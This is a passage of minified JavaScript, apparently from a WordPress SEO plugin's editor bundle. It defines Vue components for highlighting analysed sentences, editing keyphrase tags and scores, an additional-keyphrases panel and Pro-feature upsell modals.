0?"AA":o)==="AAA"&&a==="normal"?7:r==="AA"&&a==="large"?3:4.5);var s,o,r,h,a}}Ko([Go,Fo]);function te(t,e){const i=U(e),s=({color:r})=>i.contrast(r),o=Math.max(...t.map(s));return t.find(r=>s(r)===o).color}const zo={setup(){return{truSeoHighlighterStore:nt()}},emits:["next","previous"],components:{SvgEllipse:_e,SvgCaret:mt,SvgClose:Bt},data(){return{error:this.truSeoHighlighterStore.highlightAnalyzerHasError,order:this.truSeoHighlighterStore.highlightMarks.findIndex(t=>t.active)+1,total:this.truSeoHighlighterStore.highlightMarks.length}},methods:{close(){this.truSeoHighlighterStore.toggleHighlightAnalyzer(null)}}},qo=t=>(ue("data-v-966cf3f9"),t=t(),he(),t),Wo={class:"tru-seo-highlight-popover","data-arrow-placement":"right"},jo={class:"tru-seo-highlight-popover__count"},Zo=qo(()=>u("div",{class:"tru-seo-highlight-popover__pipe"},null,-1)),Yo={class:"tru-seo-highlight-popover__nav"},Jo=["disabled"],Xo=["disabled"],Qo={class:"tru-seo-highlight-popover__close"};function ti(t,e,i,s,o,r){const h=l("svg-ellipse"),a=l("svg-caret"),_=l("svg-close");return n(),f("div",Wo,[u("div",{class:P(["tru-seo-highlight-popover__bullet",{"tru-seo-highlight-popover__bullet--error":o.error}])},[c(h,{width:"8"})],2),u("div",jo,[u("span",null,m(o.order)+"/"+m(o.total),1)]),Zo,u("div",Yo,[u("button",{type:"button",class:"caret-wrapper caret-wrapper--previous",tabindex:"0",disabled:o.order===1,onClick:e[0]||(e[0]=M(y=>t.$emit("previous"),["stop","exact"]))},[c(a,{width:"20"})],8,Jo),u("button",{type:"button",class:"caret-wrapper",tabindex:"0",disabled:o.order===o.total,onClick:e[1]||(e[1]=M(y=>t.$emit("next"),["stop","exact"]))},[c(a,{width:"20"})],8,Xo)]),u("div",Qo,[u("button",{type:"button",class:"close-wrapper",tabindex:"0",onClickOnce:e[2]||(e[2]=M((...y)=>r.close&&r.close(...y),["stop","exact"]))},[c(_,{width:"10"})],32)])])}const ei=S(zo,[["render",ti],["__scopeId","data-v-966cf3f9"]]),si={setup(){return{truSeoHighlighterStore:nt()}},computed:{...Ve(nt),markBgColor(){var s,o;const t="#cce0ff";if(typeof te!="function")return t;const e=((s=this.getEditorNode("first-block"))==null?void 0:s.parentElement)||{},i=Object.values(e).length?(o=document.defaultView.getComputedStyle(e))==null?void 0:o.backgroundColor:"";return i&&!i.match(/(fffff|255,\s?255,\s?255|rgba)/gi)?te([{color:"#e6f0ff"},{color:t},{color:"#b3d1ff"}],i):t}},data(){var t,e,i,s;return{editorObserver:null,editorWrapperRect:{},isBlockEditor:_t(),isClassicEditor:re(),tinymceEditor:null,selectBlockEditor:(e=(t=window==null?void 0:window.wp)==null?void 0:t.data)==null?void 0:e.select("core/block-editor"),selectEditPost:(s=(i=window==null?void 0:window.wp)==null?void 0:i.data)==null?void 0:s.select("core/edit-post"),strings:{highlightSections:this.$t.__("Highlight sections in the Editor",this.$td)}}},methods:{annotateBlock(t){var i,s,o,r,h,a;let e="content";(s=(i=t.block)==null?void 0:i.attributes)!=null&&s.caption?e="caption":(r=(o=t.block)==null?void 0:o.attributes)!=null&&r.value?e="value":(a=(h=t.block)==null?void 0:h.attributes)!=null&&a.citation&&(e="citation"),this.truSeoHighlighterStore.dispatchAnnotations.__experimentalAddAnnotation({id:t.id,range:t.range,source:this.truSeoHighlighterStore.source,blockClientId:t.block.clientId,richTextIdentifier:e})},annotateTinyMce(t,e){if(!e)return!1;!e.hasFocus()&&this.isBlockEditor&&e.focus();let i=e.selection.win.getSelection();i.selectAllChildren(t.parent);const s=i.toString().length;if(t.range.end<s)for(let o=t.range.end;o<s;o++)i.modify("extend","backward","character");if(0<t.range.start){i=Es(i);for(let o=t.range.start;0<o;o--)i.modify("extend","forward","character")}e.undoManager.ignore(()=>{e.annotator.annotate(this.truSeoHighlighterStore.source,{uid:t.id})}),i.empty()},appendHighlightPopover(){if(this.truSeoHighlighterStore.clearHighlightPopover(),this.truSeoHighlighterStore.sanitizeHighlightMarks(),!this.truSeoHighlighterStore.activeMark)return!1;const t=this,e=Ss({name:"TruSeoHighlightPopover",render(){return bs(ei,{onNext(){t.incrementActiveMark(1)},onPrevious(){t.incrementActiveMark(-1)}})}}),i=Ps(),s=new ResizeObserver(Et(this.repositionHighlightPopover,750)),o=this.getEditorNode("wrapper");if(!o)return!1;o.parentElement.appendChild(i),e.mount(i),s.observe(this.getEditorNode("wrapper"),{box:"border-box"}),this.truSeoHighlighterStore.highlightPopover.app=e,this.truSeoHighlighterStore.highlightPopover.node=i,this.truSeoHighlighterStore.highlightPopover.observer=s,this.repositionHighlightPopover()},disallowHighlighting(){this.truSeoHighlighterStore.toggleHighlightAnalyzer(null),this.truSeoHighlighterStore.allowHighlighting=!1},formatBlockContent({block:t,node:e}){var s,o,r,h;let i="";return e?i=e.outerText.replace(/\n\n/g,` `):t&&(i=((s=t==null?void 0:t.attributes)==null?void 0:s.content)||((o=t==null?void 0:t.attributes)==null?void 0:o.caption)||((r=t==null?void 0:t.attributes)==null?void 0:r.value)||((h=t==null?void 0:t.attributes)==null?void 0:h.citation)||"",i=i.replace(/<br[^>]*>/gi,` `),i=Oe(i)),xs(i)},getEditorNode(t){var e;if(t==="closest-relative")return Ct({element:this.getEditorNode("wrapper").parentElement,property:"position",value:"relative"});if(t==="navigable")return Ct({element:this.getEditorNode("wrapper").parentElement,property:"overflow-y",value:"auto"});if(this.isClassicEditor){if(t==="wrapper")return document.getElementById("content_ifr");if(t==="first-block")return((e=this.tinymceEditor.getBody())==null?void 0:e.firstChild)||{}}if(this.isBlockEditor){if(t==="wrapper")return document.querySelector(".editor-styles-wrapper");if(t==="first-block"){const i=this.selectBlockEditor.getBlocks()[0];return document.getElementById(`block-${i==null?void 0:i.clientId}`)||{}}}},highlightBlockEditor(){var t;for(const e of this.selectBlockEditor.getBlocks()||[]){if(e.name==="core/freeform"){const i=window.tinymce.get(`editor-${e.clientId}`),s=((t=i.getBody())==null?void 0:t.children)||[];if(!s.length)continue;this.registerTinyMceAnnotator(i);for(const o of s)this.setHighlightMarks({block:e,node:o});continue}this.setHighlightMarks({block:e,node:null})}for(const[e,i]of Object.entries(this.truSeoHighlighterStore.highlightMarks))this.observeMarkParent(i.parent,parseInt(e)===this.truSeoHighlighterStore.highlightMarks.length-1),i.block.name==="core/freeform"?this.annotateTinyMce(i,window.tinymce.get(`editor-${i.block.clientId}`)):this.annotateBlock(i)},highlightClassicEditor(){var e;const t=((e=this.tinymceEditor.getBody())==null?void 0:e.children)||[];if(!t.length)return!1;this.registerTinyMceAnnotator(this.tinymceEditor);for(const i of t)this.setHighlightMarks({block:null,node:i});for(const[i,s]of Object.entries(this.truSeoHighlighterStore.highlightMarks))this.observeMarkParent(s.parent,parseInt(i)===this.truSeoHighlighterStore.highlightMarks.length-1),this.annotateTinyMce(s,this.tinymceEditor)},incrementActiveMark(t){const e=this.truSeoHighlighterStore.highlightMarks.findIndex(i=>i.active);if(!this.truSeoHighlighterStore.highlightMarks[e+t])return!1;this.truSeoHighlighterStore.allowScrolling=!0,this.truSeoHighlighterStore.highlightMarks[e].active=!1,this.truSeoHighlighterStore.highlightMarks[e+t].active=!0,this.appendHighlightPopover()},listenWindowCopy(t){var r,h;const e=()=>{t.preventDefault(),t.clipboardData.setData("text/html",window.getSelection().toString())},i=window.getSelection()||{};if(!(i!=null&&i.rangeCount))return!1;const s=((r=t.clipboardData)==null?void 0:r.getData("text/html"))||"";if(s&&s.indexOf(this.truSeoHighlighterStore.source)!==-1)return e(),!1;const o=i.getRangeAt(0)||{};for(const a of Object.values(((h=o==null?void 0:o.cloneContents())==null?void 0:h.children)||[]))if(Object.values((a==null?void 0:a.classList)||[]).some(_=>_.endsWith(this.truSeoHighlighterStore.source)))return e(),!1},listenWindowKeyup(t){var r,h;const e=(a,_)=>{a.collapse(_.firstChild,_.firstChild.length),a.deleteFromDocument()};if(["Delete","Backspace"].indexOf(t.key)===-1)return!1;const i=window.getSelection()||null;if(!(i!=null&&i.toString()))return!1;const s=((r=i==null?void 0:i.anchorNode)==null?void 0:r.parentElement)||null,o=((h=i==null?void 0:i.anchorNode)==null?void 0:h.nextElementSibling)||null;Object.values((s==null?void 0:s.classList)||[]).some(a=>a.endsWith(this.truSeoHighlighterStore.source))?e(i,s):Object.values((o==null?void 0:o.classList)||[]).some(a=>a.endsWith(this.truSeoHighlighterStore.source))&&e(i,o)},observeEditor(){var e;this.editorObserver=new MutationObserver(i=>{let s=!1;for(const o of i)for(const r of(o==null?void 0:o.removedNodes)||[])(this.truSeoHighlighterStore.highlightMarks.some(h=>r.isEqualNode(h.parent))||Object.values((r==null?void 0:r.classList)||[]).some(h=>h.endsWith(this.truSeoHighlighterStore.source)))&&(s=!0);s&&this.reset()});const t=(e=this.getEditorNode("first-block"))==null?void 0:e.parentElement;if(typeof t!="object")return!1;this.editorObserver.observe(t,{attributes:!1,childList:!0,subtree:!0})},observeMarkParent(t,e=!1){const i=(o,r)=>{var h;r.disconnect();for(const a of o){if(Object.values(((h=a==null?void 0:a.target)==null?void 0:h.classList)||[]).some(_=>_.endsWith(this.truSeoHighlighterStore.source))){this.setHighlightMarkNode(a.target);continue}for(const _ of(a==null?void 0:a.addedNodes)||[])if(Object.values((_==null?void 0:_.classList)||[]).some(y=>y.endsWith(this.truSeoHighlighterStore.source))){this.setHighlightMarkNode(_);break}}e&&this.$nextTick().then(()=>Et(this.appendHighlightPopover,250)())};if(typeof(t==null?void 0:t.parentElement)!="object")return!1;new MutationObserver(i).observe(t,{attributes:!0,childList:!0,subtree:!0})},observeWpBodyContent(){const t=e=>{var i,s,o;for(const r of e){if((r==null?void 0:r.type)!=="attributes")continue;if(!Ct({element:(i=this.getEditorNode("wrapper"))==null?void 0:i.parentElement,property:"display",value:"none"}).isEqualNode(document.documentElement))return this.disallowHighlighting(),!1;if(this.isBlockEditor&&(this.selectEditPost.getEditorMode()!=="visual"||this.selectBlockEditor.getBlockMode((s=this.selectBlockEditor.getSelectedBlock())==null?void 0:s.clientId)==="html"))return this.disallowHighlighting(),!1;if(this.isClassicEditor&&(this.setTinymceEditor(),((o=document.getElementById("content"))==null?void 0:o.nodeName)==="TEXTAREA"&&document.getElementById("content").style.display!=="none"))return this.disallowHighlighting(),!1;this.truSeoHighlighterStore.allowHighlighting=!0}};this.wpBodyContentObserver=new MutationObserver(Et(t,250)),this.wpBodyContentObserver.observe(document.getElementById("wpbody-content"),{attributes:!0,childList:!1,subtree:!0})},registerTinyMceAnnotator(t){t.annotator.register(this.truSeoHighlighterStore.source,{persistent:!1,decorate:()=>({classes:["annotation-text",`annotation-text-${this.truSeoHighlighterStore.source}`]})})},repositionHighlightPopover(t=[]){var y;if(!this.truSeoHighlighterStore.activeMark||!this.truSeoHighlighterStore.highlightPopover.node)return!1;for(const C of t)if(JSON.stringify(C.contentRect)===JSON.stringify(this.editorWrapperRect))return!1;t.length&&(this.editorWrapperRect=((y=t[0])==null?void 0:y.contentRect)||this.editorWrapperRect,this.truSeoHighlighterStore.allowScrolling=!1);const e=this.truSeoHighlighterStore.activeMark.node.getBoundingClientRect(),i=this.getEditorNode("wrapper").getBoundingClientRect(),s=this.getEditorNode("closest-relative").getBoundingClientRect(),o=this.getEditorNode("first-block").getBoundingClientRect(),[r,h]=[140,32];let a=e.top,_=o.left-s.left;r<_?(this.truSeoHighlighterStore.highlightPopover.node.style.top=a-s.top+"px",this.truSeoHighlighterStore.highlightPopover.node.style.transform="translate(-105%, 0)",this.truSeoHighlighterStore.highlightPopover.node.childNodes[0].dataset.arrowPlacement="right"):(a=a-h-s.top,a=this.isClassicEditor?a+i.top:a,_=this.isClassicEditor?_+i.left:_,this.truSeoHighlighterStore.highlightPopover.node.style.top=a+"px",this.truSeoHighlighterStore.highlightPopover.node.style.transform="translate(0, 0)",this.truSeoHighlighterStore.highlightPopover.node.childNodes[0].dataset.arrowPlacement="bottomleft"),this.truSeoHighlighterStore.highlightPopover.node.style.left=_+"px",this.scrollToHighlightMark()},reset(){var t;window.removeEventListener("copy",this.listenWindowCopy),window.removeEventListener("keyup",this.listenWindowKeyup),(t=this.editorObserver)==null||t.disconnect(),this.truSeoHighlighterStore.clearAll(),this.$nextTick().then(()=>{if(!this.truSeoHighlighterStore.highlightSentences)return this.truSeoHighlighterStore.toggleHighlightAnalyzer(null),!1;this.isBlockEditor&&this.highlightBlockEditor(),this.isClassicEditor&&this.highlightClassicEditor(),this.observeEditor(),window.addEventListener("copy",this.listenWindowCopy),window.addEventListener("keyup",this.listenWindowKeyup)})},scrollToHighlightMark(){this.$nextTick().then(()=>{var i,s,o,r;if(!this.truSeoHighlighterStore.allowScrolling)return!1;this.truSeoHighlighterStore.activeMark.node.scrollIntoView();let t=this.getEditorNode("navigable"),e=t.scrollTop-60;this.isClassicEditor&&(e-=((s=(i=document.querySelector("#wp-content-editor-tools"))==null?void 0:i.getBoundingClientRect())==null?void 0:s.height)||0,e-=((r=(o=document.querySelector("#wp-content-editor-container .mce-toolbar-grp"))==null?void 0:o.getBoundingClientRect())==null?void 0:r.height)||0),t.isEqualNode(document.documentElement)&&(t=window),t.scrollTo({top:e}),this.truSeoHighlighterStore.allowScrolling=!1})},setHighlightMarkNode(t){const e=this.truSeoHighlighterStore.highlightMarks.findIndex(i=>t.hasAttribute("data-mce-annotation-uid")?t.dataset.mceAnnotationUid.indexOf(i.id)!==-1:t.id.indexOf(i.id)!==-1);e!==-1&&(this.truSeoHighlighterStore.highlightMarks[e].node=t,t.style.backgroundColor=this.markBgColor)},setHighlightMarks({block:t,node:e}){const i=this.formatBlockContent({block:t,node:e});if(i)for(const[s,o]of Object.entries(this.truSeoHighlighterStore.highlightSentences||{})){const r=new RegExp(J(o),"g");let h;for(;(h=r.exec(i))!==null&&!this.truSeoHighlighterStore.highlightMarks.find(y=>y.sentenceIndex===s);){const a={start:h.index,end:h.index+h[0].length||1};this.truSeoHighlighterStore.highlightMarks.find(y=>e?(y.range.start===a.start||y.range.end===a.end)&&y.parent.isEqualNode(e):(y.range.start===a.start||y.range.end===a.end)&&y.block.clientId===t.clientId)||this.truSeoHighlighterStore.highlightMarks.push({id:eo(1,999999999),range:a,block:t,parent:e||document.getElementById(`block-${t.clientId}`),node:null,active:this.truSeoHighlighterStore.highlightMarks.length===0,sentenceIndex:s})}}if(t)for(const s of(t==null?void 0:t.innerBlocks)||[])this.setHighlightMarks({block:s,node:null})},setTinymceEditor(){if(this.tinymceEditor)return!1;const t=window.setInterval(()=>{var e;if(this.tinymceEditor=((e=window==null?void 0:window.tinymce)==null?void 0:e.get("content"))||null,!this.tinymceEditor)return!1;window.clearInterval(t),this.tinymceEditor.dom.addStyle(` span.annotation-text.annotation-text-${this.truSeoHighlighterStore.source} { background-color: #CCE0FF; border-radius: 4px; color: inherit; display: inline; font-size: inherit; font-weight: inherit; letter-spacing: inherit; line-height: inherit; position: static; } `.trim())},500)},watchHighlightSentences(t,e){const i=JSON.stringify(t),s=JSON.stringify(e);i!==s&&this.reset()}},beforeMount(){if((ne()||!this.isBlockEditor&&!this.isClassicEditor)&&(this.truSeoHighlighterStore.enabled=!1),this.isBlockEditor&&(!this.truSeoHighlighterStore.dispatchAnnotations||!this.selectBlockEditor||!this.selectEditPost)&&(this.truSeoHighlighterStore.enabled=!1),!this.truSeoHighlighterStore.enabled)return!1},mounted(){var e;this.wpBodyContentObserver&&((e=this.wpBodyContentObserver)==null||e.disconnect());const t=window.setInterval(()=>{typeof this.getEditorNode("wrapper")=="object"&&(window.clearInterval(t),this.observeWpBodyContent())},1e3)}};const oi={emits:["selectedKeyphrase","deleted","saved"],components:{CoreTooltip:F,SvgPencil:ft,SvgTrash:yt},props:{index:{type:Number},keyphrase:{type:String},score:{type:Number}},data(){return{edit:!1,strings:{delete:this.$t.__("Delete",this.$td)}}},computed:{scoreClass(){return 80<this.score?"score-green":50<this.score?"score-orange":1<this.score?"score-red":"score-none"}},methods:{editKeyphraseEv(t){this.edit=!0,this.$emit("selectedKeyphrase",t)},deleteKeyphraseEv(t){this.edit=!1,this.$emit("deleted",t)},toggleKeyphrasesPanel(t){this.$emit("selectedKeyphrase",t)},closeEdit(t){const e=t.target.value,i=this.index;this.$emit("saved",{index:i,value:e}),this.edit=!1},pressEnter(t){t.preventDefault(),t.target.blur(),this.edit=!1}}},ii={class:"aioseo-keyphrase-tag"},ri={key:0,class:"aioseo-edit-keyphrase-tag"},ni=["value"];function ai(t,e,i,s,o,r){const h=l("svg-pencil"),a=l("svg-trash"),_=l("core-tooltip");return n(),f("div",ii,[u("span",{class:P(["aioseo-add-keyphrase-tag",o.edit?"hidden":""])},[u("span",{class:"keyphrase-name",onClick:e[0]||(e[0]=y=>r.toggleKeyphrasesPanel(i.index))},m(i.keyphrase),1),u("span",{class:"keyphrase-edit",onClick:e[1]||(e[1]=y=>r.editKeyphraseEv(i.index))},[c(h)]),u("span",{class:P(["keyphrase-score",r.scoreClass]),onClick:e[2]||(e[2]=y=>r.toggleKeyphrasesPanel(i.index))},m(i.score)+"/100",3)],2),o.edit?(n(),f("span",ri,[u("input",{value:i.keyphrase,onBlur:e[3]||(e[3]=(...y)=>r.closeEdit&&r.closeEdit(...y)),onKeydown:e[4]||(e[4]=Vt((...y)=>r.pressEnter&&r.pressEnter(...y),["enter"]))},null,40,ni),u("span",{class:"keyphrase-delete",onClick:e[5]||(e[5]=y=>r.deleteKeyphraseEv(i.index))},[c(_,{type:"action"},{tooltip:d(()=>[k(m(o.strings.delete),1)]),default:d(()=>[c(a)]),_:1})])])):p("",!0)])}const Le=S(oi,[["render",ai]]),li={},di={width:"16",height:"11",viewBox:"0 0 16 11",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-eye-filled"},ci=u("path",{d:"M8.0018 8.57162C8.78938 8.57162 9.45817 8.29596 10.0082 7.74465C10.5582 7.19335 10.8332 6.5239 10.8332 5.73632C10.8332 4.94874 10.5575 4.27995 10.0062 3.72995C9.4549 3.17995 8.78546 2.90495 7.99787 2.90495C7.21029 2.90495 6.5415 3.1806 5.9915 3.73191C5.4415 4.28322 5.1665 4.95266 5.1665 5.74025C5.1665 6.52783 5.44216 7.19661 5.99347 7.74661C6.54477 8.29662 7.21422 8.57162 8.0018 8.57162ZM7.99592 7.60495C7.47631 7.60495 7.03595 7.42309 6.67484 7.05937C6.31373 6.69563 6.13317 6.25396 6.13317 5.73436C6.13317 5.21475 6.31503 4.77439 6.67875 4.41328C7.04249 4.05217 7.48415 3.87161 8.00375 3.87161C8.52337 3.87161 8.96373 4.05348 9.32484 4.4172C9.68595 4.78093 9.8665 5.2226 9.8665 5.7422C9.8665 6.26181 9.68464 6.70217 9.32092 7.06328C8.95719 7.42439 8.51552 7.60495 7.99592 7.60495ZM7.99984 10.7383C6.37762 10.7383 4.91095 10.2772 3.59984 9.35495C2.28873 8.43273 1.31095 7.22717 0.666504 5.73828C1.31095 4.24939 2.28873 3.04384 3.59984 2.12161C4.91095 1.19939 6.37762 0.738281 7.99984 0.738281C9.62206 0.738281 11.0887 1.19939 12.3998 2.12161C13.7109 3.04384 14.6887 4.24939 15.3332 5.73828C14.6887 7.22717 13.7109 8.43273 12.3998 9.35495C11.0887 10.2772 9.62206 10.7383 7.99984 10.7383Z",fill:"currentColor"},null,-1),ui=[ci];function hi(t,e){return n(),f("svg",di,ui)}const pi=S(li,[["render",hi]]);const gi={setup(){return{truSeoHighlighterStore:nt()}},components:{CoreTooltip:F,SvgEye:Ut,SvgEyeFilled:pi},props:{analyzer:String},data(){return{strings:{highlightSections:this.$t.__("Highlight sections in the Editor",this.$td),highlightingIsDisabled:this.$t.__("Highlighting is disabled for current view",this.$td)}}},methods:{onClickBtnToggleHighlighter(){this.truSeoHighlighterStore.toggleHighlightAnalyzer(this.analyzer)}}},_i=["disabled"];function mi(t,e,i,s,o,r){const h=l("svg-eye"),a=l("core-tooltip"),_=l("svg-eye-filled");return s.truSeoHighlighterStore.enabled?(n(),f("button",{key:0,type:"button",class:"tru-seo-toggle-highlighter",disabled:!s.truSeoHighlighterStore.allowHighlighting,onClick:e[0]||(e[0]=M(y=>r.onClickBtnToggleHighlighter(),["stop","exact"]))},[s.truSeoHighlighterStore.highlightAnalyzer!==i.analyzer?(n(),g(a,{key:0,offset:t.$root._data.screenContext==="sidebar"?"-200px,0":"",type:"action"},{tooltip:d(()=>[k(m(s.truSeoHighlighterStore.allowHighlighting?o.strings.highlightSections:o.strings.highlightingIsDisabled),1)]),default:d(()=>[c(h,{width:"16",height:"16"})]),_:1},8,["offset"])):(n(),g(_,{key:1,width:"16",height:"16"}))],8,_i)):p("",!0)}const fi=S(gi,[["render",mi]]);const yi={components:{SvgCaret:mt,SvgCircleCheck:Rt,SvgCircleClose:ze,TruSeoToggleHighlighter:fi},props:{analysisItems:{type:Object}},methods:{toggleDescriptionEv(t){t.target.parentElement.classList.toggle("toggled")}}},Si={class:"aioseo-analysis-detail"},bi={key:0},vi={class:"title__text"},ki={class:"description"};function wi(t,e,i,s,o,r){const h=l("svg-circle-check"),a=l("svg-circle-close"),_=l("tru-seo-toggle-highlighter"),y=l("svg-caret");return n(),f("ul",Si,[(n(!0),f(K,null,X(i.analysisItems,(C,$)=>{var b;return n(),f(K,{key:$},[C.title?(n(),f("li",bi,[u("p",{class:P(["title",C.error===0?"toggled":""])},[C.error===0?(n(),g(h,{key:0,width:"16"})):p("",!0),C.error===1?(n(),g(a,{key:1,width:"16"})):p("",!0),u("span",vi,m(C.title),1),(b=C==null?void 0:C.highlightSentences)!=null&&b.length?(n(),g(_,{key:2,analyzer:$},null,8,["analyzer"])):p("",!0),c(y,{width:"16",role:"button",onClick:M(r.toggleDescriptionEv,["stop"])},null,8,["onClick"])],2),u("p",ki,m(C.description),1)])):p("",!0)],64)}),128))])}const vt=S(yi,[["render",wi]]);const Ci={setup(){return{licenseStore:B(),postEditorStore:E()}},components:{CoreAlert:G,CoreKeyphrase:Le,CoreLoader:de,SvgCirclePlus:St,metaboxAnalysisDetail:vt},data(){return{selectedKeyphrase:0,strings:{additional:this.$t.__("Additional Keyphrases",this.$td),addKeyphrase:this.$t.__("Add Additional Keyphrases",this.$td),keyphraseDocumentation:this.$t.__("Improve your SEO rankings with additional keyphrases.",this.$td),upsell:this.$t.sprintf(this.$t.__("Additional Keyphrases are a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("post-settings",this.$constants.GLOBAL_STRINGS.learnMore,"additional-keywords",!0))}}},watch:{"postEditorStore.currentPost.keyphrases.additional"(){this.postEditorStore.currentPost.keyphrases.additional&&!this.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase]&&(this.selectedKeyphrase=0)}},methods:{onSelectedKeyphrase(t){this.selectedKeyphrase=t},onSaved(t){const{index:e,value:i}=t;this.postEditorStore.currentPost.keyphrases.additional[e].keyphrase=i,this.postEditorStore.currentPost.keyphrases.additional[e].score=0,this.postEditorStore.currentPost.loading.additional[e]=!0,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost}),this.selectedKeyphrase=e},onDeleted(t){const e=[...this.postEditorStore.currentPost.keyphrases.additional];e.splice(t,1),this.postEditorStore.currentPost.keyphrases.additional=null,setTimeout(()=>{this.postEditorStore.currentPost.keyphrases.additional=e,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})},300)},addKeyphraseEv(){var i;const e=document.getElementsByClassName(`add-keyphrase-${this.$root._data.screenContext}-input`)[0].querySelector(".medium");if(e.value){const s={keyphrase:e.value,score:0},o=this.postEditorStore.currentPost.keyphrases.additional.push(s),r=document.getElementsByClassName("keyphrase-name");this.postEditorStore.currentPost.loading.additional[0]=!0,e.value="",e.blur(),this.postEditorStore.isDirty=!0,(i=r[o])==null||i.click(),this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})}},pressEnter(t){const e=document.getElementById("add-additional-keyphrase");t.preventDefault(),e.click()},created(){this.postEditorStore.currentPost.keyphrases.forEach((t,e)=>{this.postEditorStore.currentPost.loading.additional[e]=!1})}}},$i={class:"additional-keyphrases-panel"},Ei={key:0},Pi={class:"analysis-wrapper"},xi={class:"aioseo-description additional-keyphrases-description"},Ti=["innerHTML"];function Ai(t,e,i,s,o,r){const h=l("core-keyphrase"),a=l("core-loader"),_=l("metaboxAnalysisDetail"),y=l("base-input"),C=l("svg-circle-plus"),$=l("base-button"),b=l("core-alert");return n(),f("div",$i,[s.postEditorStore.currentPost.keyphrases.additional&&s.postEditorStore.currentPost.keyphrases.additional.length&&t.$isPro&&s.licenseStore.license.isActive?(n(),f("div",Ei,[(n(!0),f(K,null,X(s.postEditorStore.currentPost.keyphrases.additional,(v,w)=>(n(),g(h,{key:w,index:w,keyphrase:v.keyphrase,score:v.score,onSaved:r.onSaved,onDeleted:r.onDeleted,onSelectedKeyphrase:r.onSelectedKeyphrase,class:P(["aioseo-keyphrase-tag additional-keyphrase",o.selectedKeyphrase===w?"selected":null])},null,8,["index","keyphrase","score","onSaved","onDeleted","onSelectedKeyphrase","class"]))),128)),u("div",Pi,[s.postEditorStore.currentPost.loading.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase].keyphrase?(n(),g(a,{key:0,class:"analysis-loading",dark:""})):p("",!0),!s.postEditorStore.currentPost.loading.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase].keyphrase?(n(),g(_,{key:1,analysisItems:s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase].analysis},null,8,["analysisItems"])):p("",!0)])])):p("",!0),t.$isPro&&s.licenseStore.license.isActive?(n(),g(y,{key:1,size:"medium",class:P(`add-keyphrase-${this.$root._data.screenContext}-input`),onKeydown:Vt(r.pressEnter,["enter"])},null,8,["class","onKeydown"])):p("",!0),t.$isPro&&s.licenseStore.license.isActive?(n(),g($,{key:2,id:"add-additional-keyphrase",class:"add-keyphrase gray medium",onClick:r.addKeyphraseEv},{default:d(()=>[c(C,{width:"14",height:"14"}),k(" "+m(o.strings.addKeyphrase),1)]),_:1},8,["onClick"])):p("",!0),!t.$isPro||!s.licenseStore.license.isActive?(n(),f(K,{key:3},[u("div",xi,m(o.strings.keyphraseDocumentation),1),c(b,{class:"inline-upsell",type:"blue"},{default:d(()=>[u("div",{innerHTML:o.strings.upsell},null,8,Ti)]),_:1})],64)):p("",!0)])}const Mi=S(Ci,[["render",Ai],["__scopeId","data-v-73d0fe06"]]),Li=""+window.__aioseoDynamicImportPreload__("images/open-ai.d02756ab.png");const Hi={setup(){return{getAssetUrl:As,settingsStore:Z()}},components:{BaseEditor:Ms,CoreBlur:bt,CoreModalPortal:Q,SvgCirclePlus:St},props:{type:{type:String,required:!0}},data(){return{OpenAiImage:Li,suggestions:{title:["21 Amazing Blog Design Examples to Inspire Your Creativity","Create a Good First Impression with 21 Amazing Blog Design Examples","Create a Good First Impression: 21 Amazing Blog Design Examples to Spark Your Creativity","Create a Good First Impression With 21 Eye-Catching Blog Design Examples","Create a First Impression with 21 Eye-Catching Blog Design Examples"]},strings:{upgradeToPro:this.$t.__("Upgrade to Pro Today",this.$td),learnMoreLink:this.$t.sprintf('<a class="feature-link" href="%1$s" target="_blank" rel="noopener noreferrer">%2$s</a> %3$s',this.$links.getUpsellUrl("post-settings","general","open-ai"),this.$t.__("Learn more about all the features",this.$td),this.$links.getUpsellLink("post-settings","","general",!0))}}},computed:{headerTitle(){return this.type==="title"?this.$t.sprintf(this.$t.__("Generate New SEO Post %1$s",this.$td),this.$t.__("Title",this.$td)):this.$t.sprintf(this.$t.__("Generate New SEO Post %1$s",this.$td),this.$t.__("Description",this.$td))},ctaHeaderTitle(){return this.type==="title"?this.$t.sprintf(this.$t.__("Generating SEO Post %1$s is a Pro Feature",this.$td),this.$t.__("Titles",this.$td)):this.$t.sprintf(this.$t.__("Generating SEO Post %1$s is a Pro Feature",this.$td),this.$t.__("Descriptions",this.$td))},ctaDescription(){return this.type==="title"?this.$t.sprintf(this.$t.__("With our Pro version, you now have access to the powerful feature that generates SEO optimized %1$s with just a click of a button. Say goodbye to manual %2$s creation and hello to increased online visibility.",this.$td),this.$t.__("titles",this.$td),this.$t.__("title",this.$td)):this.$t.sprintf(this.$t.__("With our Pro version, you now have access to the powerful feature that generates SEO optimized %1$s with just a click of a button. Say goodbye to manual %2$s creation and hello to increased online visibility.",this.$td),this.$t.__("meta descriptions",this.$td),this.$t.__("description",this.$td))}}},Ii={class:"aioseo-ai-unlicensed-modal"},Bi={class:"list"},Ri={class:"suggestions"},Di={type:"button",disabled:""},Vi={class:"cta"},Oi=["src"],Ni={class:"bottom"},Ui={class:"title"},Ki=["innerHTML"];function Gi(t,e,i,s,o,r){const h=l("svg-circle-plus"),a=l("base-editor"),_=l("core-blur"),y=l("base-button"),C=l("core-modal-portal");return 